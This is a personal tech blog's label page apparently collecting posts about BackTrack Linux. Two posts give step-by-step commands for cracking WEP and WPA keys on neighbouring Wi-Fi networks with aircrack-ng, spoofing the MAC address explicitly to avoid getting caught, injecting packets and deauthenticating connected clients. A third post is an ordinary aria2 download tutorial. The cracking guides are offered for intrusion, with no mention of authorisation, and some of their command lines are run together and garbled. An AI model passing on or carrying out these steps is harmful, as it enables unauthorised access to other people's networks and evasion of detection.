BackTrack: PC Tips by Anu

Showing posts with label BackTrack. Show all posts

Tuesday, October 9, 2012

How to exploit Internet Explorer 8 to get ROOT access?

Tuesday, October 09, 2012

Anu

Sunday, April 24, 2011

How to crack passwords (Password Cracking Guide)?

Sunday, April 24, 2011

Anu

Saturday, April 23, 2011

How to install back track 3 onto usb?

Saturday, April 23, 2011

Anu

Wednesday, October 27, 2010

How to hack a Wi-Fi network?

Wednesday, October 27, 2010

Anu

Today i'm posting a direct n easy method to hack a Wi-Fi network.

now a days, every are using Wi-Fi, bcz its the best way to connect them everywhere. First of all, take a look of Wi-Fi n thn the hacking method.

Suggestion reading : Crack Wi-Fi network key.

How to crack Wi-Fi WEP n WAP keys?

Wifi is thename of a popular wireless networking technology that uses radio waves toprovide wireless high-speed Internet and network connections (as if you didntknow..), Wifi has become an integral part of our lives today.

Wifi is securedusing a WPA protocol which intends to secure Wireless LANs like Wired LAN’s byencrypting data over radio waves,however, it has been found that WEP is not assecure as once believed.Now almost anyone can hack into a Wifi network bygenerating the valid WEP key using Bactrack. Read on to learn how..

GETTINGBACKTRACK

BackTrack is a slax based top ratedLinux live distribution focused on penetration testing which consists of morethan 300 up to date tools along with the ability of customizing scripts,configuring and modding kernels which makes it a true gem and a must have forevery security enthusiastic out there. The best part – Its free and you candownload it from – Remote Exploit

OR Direct Download Link of BackTrack 4 Final

SETTINGUP THE CARD AND THE CONSOLE

Boot up Backtrack on your virtualmachine/laptop and open up the command console and type the commands as theyare given -

ifconfig

This is the Linux equivalent of ipconfig, you will see the network adaptors in your system. Seewhich one is for Wi-Fi. A few examples are wlan0, wifi0, etc.

airmon-ng

This command will initialize theWi-Fi network monitoring & will tell you how many networks are in range.

airmon-ngstop [Wi-Fi Card name(without the quotes)]

This command will stop the cardsbroadcast and reception immediately

macchanger–mac [Desired MAC address] [Wi-Fi card name]

This command will change the currentMAC address to any MAC address you desire, so that you don’t get caught later

airmon-ngstart [Wi-Fi Card name]

You will see another extra adaptorthat is set on monitor mode, use that adaptor for all further purposes in thefollowing commands where – “[Wi-Fi card name]” appears

DUMPINGPACKETS

Once you have set up all theparameters, you need to sniff and dump data packets in order to get the key.You can do so by using following commands. On the command console type thesecommands -

airodump-ng[Wi-Fi card name]

Copy and paste the BSSID in thefollowing command and execute it

airodump-ng–c [Channel Number] –w [Desired Filename for later decryption] --bssid [BSSID][Wi-Fi Card name]

As you execute the command, you willsee a certain number of beacons and data packets that will be stored in thefilename you have given. The file will be stored in the root of the systemdrive (Click on Computer and you will see the file).The file will be present intwo formats: *.cap, *.txt.

SPEEDINGUP THINGS

However packet dumping is quite aslow process, we need to speed up things to save our time. Open new consoleafter the first data packet has been stored and type the command in the new consoleand execute it.

airreplay-ng-1 0 –a [BSSID] –h [FAKED MAC ADDRESS] -e [Wi-Fi name (you wish to hack)][Wi-Fi card name]

As you type this command you willsee that the data packets required for breaking the key will increasedramatically thereby saving you a lot of time.

REVEALINGWEP KEY

Open another console once you havearound 20,000 data packets and type the following command to reveal the WEPkey.

aircrack-ng–n 64 –b [BSSID] [Filename without the extension]

As you type this command, you will see that a key willappear in front of you in the given below format:
XX:XX:XX:XX

It is not necessary that the keyshould have exactly the same digits as shown above so please don’t freak out ifyou see a 10 digit or 14 digit key. Also if the decryption fails, you canchange the bit level of the decryption in the command:

aircrack-ng–n [BIT LEVEL] –b [BSSID] [Filename without extension]

Remember, the bit level should be anumber of 2n where n:1,2,3,4…
e.g.

aircrack-ng–n 32 –b [BSSID] [Filename without the extension]

aircrack-ng–n 128 –b [BSSID] [Filename without the extension] etc. etc.

Now just login using the WEP key yougot.

Wednesday, October 20, 2010

LINUX/WINDOWS : Did you know 'Hows your Computer boot?'? (Complete boot process)

Wednesday, October 20, 2010

Anu

Windows/LINUX : How to increase download speed in Linux/MAC/FreeBSD/OpenBSD/Ubuntu/BackTrack/OpenSUSE/Fedora/Windows?

Wednesday, October 20, 2010

Anu

Traditional file downloads are donevia an FTP client, a Web browser, or a file-sharing program such as BitTorrent.These means of downloading files will probably never change, but the tools todo the downloading, and how they download, will.

One program that changes how filesare downloaded is Aria2. Aria2 is a lightweight multiprotocol andmultisource download utility that offers some very compelling reasons for its useover traditional “single thread” downloading such as with an FTP or HTTPclient.

Being a multiprotocol client, Aria2can download via HTTP, via FTP, and via BitTorrent.

What makes Aria2 unique isthat it can download the same file at the same time utilizing differentprotocols. It can also open multiple connections to the same, or different,URLs to download the file even faster. By default, Aria2 uses five connectionsto download a file.

DOWNLOAD Aria2 for Windows

DOWNLOAD Aria2 for All Linux Distributions

To download a file, use:

$aria2c http://somehost.com/file.zip

If the same file is available fromtwo different places, you can maximize your bandwidth and download it fromboth, even using different protocols:

$aria2c http://somehost.com/file.zip ftp://otherhost.com/pub/file.zip

To compare speeds, I used curl([DOWNLOAD])to download a bzip2 compressed ISO image that weighs in at 200MB:

$time curl -OLftp://ftp.ibiblio.org:21//pub/linux/distributions/annvix/releases/ISO/
annvix-netinstall-x86_64-3.0-RELEASE-r2.iso.tar.bz2
% Total    % Received % Xferd Average Speed  Time    Time     Time Current
                                Dload Upload   Total   Spent   Left Speed
100 200M 100 200M    0    0   108k      0 0:31:27 0:31:27--:--:-- 104k
curl:(28) FTP response timeout
curl-OL   0.57s user 2.04s system 0% cpu 31:27.27 total

With Aria2, I downloaded the samefile from three different places together:

$time aria2cftp://ftp.ibiblio.org:21//pub/linux/distributions/annvix/releases/ISO/
annvix-netinstall-x86_64-3.0-RELEASE-r2.iso.tar.bz2http://gd.tuwien.ac.at/opsys/linux/annvix/
releases/ISO/annvix-netinstall-x86_64-3.0-RELEASE-r2.iso.tar.bz2http://ftp.cc.uoc.gr/mirrors/
linux/annvix/releases/ISO/annvix-netinstall-x86_64-3.0-RELEASE-r2.iso.tar.bz2
*** Download Progress Summary as of Thu May 1317:28:12 2010 ***
=============================================================================================
[#1SIZE:88.2MiB/200.4MiB(43%) CN:5 SPD:2.0MiBs ETA:55s]
FILE:/home/user/tmp/annvix-netinstall-x86_64-3.0-RELEASE-r2.iso.tar.bz2
---------------------------------------------------------------------------------------------
*** Download Progress Summary as of Thu May 1317:29:12 2010 ***
=============================================================================================
[#1SIZE:167.6MiB/200.4MiB(83%) CN:5 SPD:559.9KiBs ETA:59s]
FILE:/home/user/tmp/annvix-netinstall-x86_64-3.0-RELEASE-r2.iso.tar.bz2
----------------------------------------------------------------------------------------------
[#1SIZE:200.3MiB/200.4MiB(99%) CN:5 SPD:192.3KiBs]
2010-05-1317:29:57.277148 NOTICE - Download complete: /home/user/tmp/
annvix-netinstall-x86_64-3.0-RELEASE-r2.iso.tar.bz2
DownloadResults:
gid|stat|avgspeed |path/URI
===+====+===========+===========================================================
1| OK| 1.2MiB/s|/home/user/tmp/annvix-netinstall-x86_64-3.0-RELEASE-r2.iso.tar.bz2
StatusLegend:
(OK):download completed.
aria2c 0.53s user 4.62s system 3% cpu 2:45.08 total

What an amazing difference in speed!To verify that both files downloaded are identical, I ran md5sum against bothfiles:

$md5sum o/annvix-netinstall-x86_64-3.0-RELEASE-r2.iso.tar.bz2
annvix-netinstall-x86_64-3.0-RELEASE-r2.iso.tar.bz2
a7d1e84533a27daf8fe794256ca1f928 o/annvix-netinstall-x86_64-3.0-RELEASE-r2.iso.tar.bz2
a7d1e84533a27daf8fe794256ca1f928 annvix-netinstall-x86_64-3.0-RELEASE-r2.iso.tar.bz2
%ls -al o/annvix-netinstall-x86_64-3.0-RELEASE-r2.iso.tar.bz2
annvix-netinstall-x86_64-3.0-RELEASE-r2.iso.tar.bz2
-rw-r--r--1 user user 210219877 May 13 17:29annvix-netinstall-x86_64-3.0-RELEASE-r2.iso.tar.bz2
-rw-r--r--1 user user 210219877 May 13 17:25o/annvix-netinstall-x86_64-3.0-RELEASE-r2.iso.tar.bz2

The files are indeed identical.

What if you are at work when the newrelease of your favourite Linux distribution becomes available? Instead ofusing BitTorrent at work which may go against company usage policies, if youare able to SSH to your home system, you can launch Aria2 under screen andbegin the download from there. If you want to download a number of files atonce, you can have Aria2 download them sequentially or in parallel; to downloadfiles in parallel use:

$aria2c -Z http://somehost.com/file.zip linuxdistro.torrent

Aria2 allows you to specify themaximum upload rate when downloading torrents.

This can be done with the “-u”option, such as “-u40K” would only allow an upload speed of 40KB/s.

In fact,Aria2 is a full-featured BitTorrent client with a lot of features such assupport for seeding files, downloading files with encryption, and DHT(Distributed Hash Table) support.

While some might balk at the use ofa command-line client to download files, perhaps cringing at the remembrance ofold-school FTP clients, Aria2 is easy to use and easy to script.

The speed gains of Aria2 areincredible. If BitTorrent isn’t your thing, imagine finding five differentmirrors of your favourite Linux distribution and passing the URLs to Aria2.Possibly the longest part of that would be finding the URLs and pasting it tothe command-line, rather than the actual downloading.

Command-line scares you off? No, aria2 is really easy to use!!

SOME USAGE TECHNIQUES :-

Download from WEB

$ aria2c http://example.org/mylinux.iso

Download from 2 sources

$ aria2c http://a/f.iso ftp://b/f.iso

BitTorrent

$ aria2c http://example.org/mylinux.torrent

BitTorrent Magnet URI

$ aria2c 'magnet:?xt=urn:btih:248D0A1CD08284299D
E78D5C1ED359BB46717D8C'

Metalink

$ aria2c http://example.org/mylinux.metalink

Download URIs found in text file

$ aria2c -i uris.txt

Thanks...

Friday, October 8, 2010

How to reset Windows XP & Vista Password?

Friday, October 08, 2010

Anu

Sunday, June 13, 2010

Crack Wi-Fi Network key (WEP, WPA-2 and WPA-PSK)

Sunday, June 13, 2010

Anu

http://home.almasa-eg.com/~w7wbsik1/almasa-eg.com/images/WiFi3.jpg

We assume that if you have reached here to read this post, then supposedly you atleast know that to hack a wireless network you atleast need a wireless card installed machine, preferably a lappy which can be carried easily.

Step 1: airmon-ng

Please download Backtrack 4 from HERE

airmon-ng stop wlan0
iwconfig (to find all wireless network interfaces and their status)
airmon-ng start wlan0 (to set in monitor mode, you may have to substitute wlan0 for your own interface name)
Note: You can use the su command to switch to a root account.

Step 2: airodump-ng

This step assumes you've already set your wireless network interface in monitor mode. It can be checked by executing the iwconfig command. Next step is finding available wireless networks, and choosing your target:

airodump-ng mon0 - monitors all channels, listing available access points and associated clients within range. It is best to select a target network with strong signal (PWR column), more traffic (Beacons/Data columns) and associated clients (listed below all access points). Once you've selected a target, note its Channel and BSSID (MAC address). Also note any STATION associated with the same BSSID (client MAC addresses).

Step 3: airodump-ng (Capture data)

To capture data into a file, we use the airodump-ng tool again, with some additional switches to target a specific AP and channel. Most importantly, you should restrict monitoring to a single channel to speed up data collection, otherwise the wireless card has to alternate between all channels. Assuming our wireless card is mon0, and we want to capture packets on channel 6 into a text file called data:

airodump-ng -c 6 bssid 00:0F:CC:7D:5A:74 -w data mon0

(-c 6 switch would capture data on channel 6, bssid 00:0F:CC:7D:5A:74 is the MAC address of our target access point, -w data specifies that we want to save captured packets into a file called "data" in the current directory, mon0 is our wireless network adapter)

You typically need between 20,000 and 40,000 data packets to successfully recover a WEP key.

Step 4: aireplay-ng (Increase Traffic)

An active network can usually be penetrated within a few minutes. However, slow networks can take hours, even days to collect enough data for recovering the WEP key.

This optional step allows a compatible network interface to inject/generate packets to increase traffic on the wireless network, therefore greatly reducing the time required for capturing data. The aireplay-ng command should be executed in a separate terminal window, concurrent to airodump-ng. It requires a compatible network card and driver that allows for injection mode.

Assuming your network card is capable of injecting packets, in a separate terminal window try:

aireplay-ng -3 -b 00:0F:CC:7D:5A:74 -h 00:14:A5:2F:A7:DE -x 50 wlan0
-3 --> this specifies the type of attack, in our case ARP-request replay
-b ..... --> MAC address of access point
-h ..... --> MAC address of associated client from airodump
-x 50 --> limit to sending 50 packets per second
wlan0 --> our wireless network interface

Step 5: aircrack-ng (Crack WEP)

WEP cracking is a simple process, only requiring collection of enough data to then extract the key and connect to the network. You can crack the WEP key while capturing data. In fact, aircrack-ng will re-attempt cracking the key after every 5000 packets.

To attempt recovering the WEP key, in a new terminal window, type:

aircrack-ng data*.cap

(assuming your capture file is called data...cap, and is located in the same directory)
.

Step 6: aircrack-ng

WPA, unlike WEP rotates the network key on a per-packet basis, rendering the WEP method of penetration useless. Cracking a WPA-PSK/WPA2-PSK key requires a dictionary attack on a handshake between an access point and a client. What this means is, you need to wait until a wireless client associates with the network (or deassociate an already connected client so they automatically reconnect). All that needs to be captured is the initial "four-way-handshake" association between the access point and a client. WPA hashes the network key using the wireless access point's SSID as salt. This prevents the statistical key-grabbing techniques that broke WEP, and makes hash precomputation more dificult because the specific SSID needs to be added as salt for the hash.

With all that said, the weakness of WPA-PSK comes down to the passphrase. A short/weak passphrase makes it vulnerable to dictionary attacks.

To successfully crack a WPA-PSK network, you first need a capture file containing handshake data. This can be obtained using the same technique as with WEP in step 3 above, using airodump-ng.

You may also try to deauthenticate an associated client to speed up this process of capturing a handshake, using:

aireplay-ng --deauth 3 -a MAC_AP -c MAC_Client
(where MAC_IP is the MAC address of the access point, and MAC_Client is the MAC address of an associated client).

Once you have captured a four-way handshake, you also need a large/relevant dictinary file with common passphrases. See related links below for some wordlist links.

You can, then execute the following command in a linux terminal window (assuming both the dictionary file and captured data file are in the same directory):

aircrack-ng -w dictionary_file capture_file

Notes:
Cracking WPA-PSK and WPA2-PSK may take much longer, and will only succeed with weak passphrases and good dictionary files.

Alternatively, there are tools like coWPAtty that can use precomputed hash files to speed up dictionary attacks. Those hash files can be very effective, but quite big in size. The Church of WiFi has computed hash tables for the 1000 most common SSIDs against a million common passphrases that are 7Gb and 33Gb in size...

Blog Archive

Popular Posts

Tuesday, October 9, 2012

How to exploit Internet Explorer 8 to get ROOT access?

Sunday, April 24, 2011

How to crack passwords (Password Cracking Guide)?

Saturday, April 23, 2011

How to install back track 3 onto usb?

Wednesday, October 27, 2010

How to hack a Wi-Fi network?

Wednesday, October 20, 2010

LINUX/WINDOWS : Did you know 'Hows your Computer boot?'? (Complete boot process)

Windows/LINUX : How to increase download speed in Linux/MAC/FreeBSD/OpenBSD/Ubuntu/BackTrack/OpenSUSE/Fedora/Windows?

SOME USAGE TECHNIQUES :-

Download from WEB

Download from 2 sources

BitTorrent

BitTorrent Magnet URI

Metalink

Download URIs found in text file

Friday, October 8, 2010

How to reset Windows XP & Vista Password?

Sunday, June 13, 2010

Crack Wi-Fi Network key (WEP, WPA-2 and WPA-PSK)

Followers

Facebook

Networked Blogs